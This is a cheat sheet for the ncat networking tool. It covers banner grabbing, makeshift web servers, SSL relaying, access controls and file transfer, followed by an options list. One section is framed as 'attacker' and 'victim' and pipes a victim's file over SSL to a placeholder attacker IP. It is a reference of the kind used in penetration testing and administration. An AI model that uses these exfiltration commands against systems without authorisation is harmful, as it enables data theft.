ncat — Concatenate and redirect sockets

Banner Grab : # printf "GET / HTTP/1.0\r\n\r\n" | ncat bitrot.sh 80

SSL Banner Grab:

#printf "GET / HTTP/1.0\r\n\r\n" | ncat bitrot.sh 443 –ssl

Simple web server:

#echo '<html><body>This is ncat webserver</body></html>' > stuff.html
#ncat -l -p 8080 -c "printf 'HTTP/1.1 200 OK\r\n\r\n'; cat stuff.html"

Web server accept multiple requests:

#ncat --keep-open -l -p 8080 -c "printf 'HTTP/1.1 200 OK\r\n\r\n'; cat ~/stuff.html"

Unwrap SSL Connections

Server

Listen on port 6666 as a plain text server. Upon connection, connect to api.ipify.org:443 using SSL and forward client / server traffic. It also saves the full session to out.log for later analysis.

#ncat -l -p 6666 -c 'ncat --ssl api.ipify.org 443' --keep-open -o out.log

Client

Grab our remote IP address by using an HTTP connection to localhost:6666, which handles the connection to api.ipify.org:443 using SSL

#curl 'http://localhost:6666?format=json' -H 'Host: api.ipify.org'

Connect two incoming connections

#ncat -l -p 8080 -c 'ncat -l -p 9090'

Connect two listening servers

#ncat localhost 8080 -c 'ncat localhost 9090'

Access Controls

Whitelist Ips #ncat -l -p 8080 --allow 192.168.1.1

Whitelist from file # ncat -l -p 8080 --allowfile hosts

Hosts should be separated by new lines

Blacklist Ips #ncat -l -p 8080 --deny 192.168.1.1,10.10.0.1

Blacklist IPs from file # ncat -l -p 8080 --denyfile hosts

Reverse file transfer to attacker

Attacker #ncat -l -p 6666 --ssl > outputfile

Victim #ncat --ssl --send-only <attacker ip> 6666 < bin/ncat

File send w/ Sender listening

Attacker #ncat -l -ssl -p 6666 --send-only < /bin/ncat

Victim #ncat localhost 6666 --ssl > outputfile

OPTIONS SUMMARY

```
Usage: ncat [options] [hostname] [port]

Options taking a time assume seconds. Append 'ms' for
milliseconds, 's' for seconds, 'm' for minutes, 'h' for hours
-4     Use IPv4 only
-6     Use IPv6 only
-c, --sh-exec <comd>  Executes given command via/bin/sh
-e, --exec <command>       Executes the given command
-m, --max-conns <n>      Maximum <n> simultaneous connections
-o, --output <filename>    Dump session data to a file
-p, --source-port port     Specify source port to use
-s, --source addr          Specify source address to use
                               (doesn't affect -l)
-l, --listen        Bind and listen for incoming connections
-k, --keep-open    Accept multiple connections in listen mode
-n, --nodns                Do not resolve hostnames via DNS
-t, --telnet               Answer Telnet negotiations
-u, --udp                  Use UDP instead of default TCP
-v                       Verbose
--chat                 Start a simple Ncat chat server
--proxy <addr[:port]>  Specify address of host to proxy
                         through
--proxy-type <type>    Specify proxy type
                         ("http", "socks4", "socks5")
--proxy-auth <auth>    Authn with HTTP or SOCKS proxy server
--proxy-dns <type>     Specify where to resolve proxy destn
--ssl                  Connect or listen with SSL
--ssl-cert   Specify SSL certificate file (PEM) for listening
--ssl-key    Specify SSL private key (PEM) for listening
--ssl-verify    Verify trust and domain name of certificates
--ssl-trustfile  PEM file containing trusted SSL certificates
--ssl-ciphers       Cipherlist containing SSL ciphers to use
--ssl-alpn           ALPN protocol list to use.
```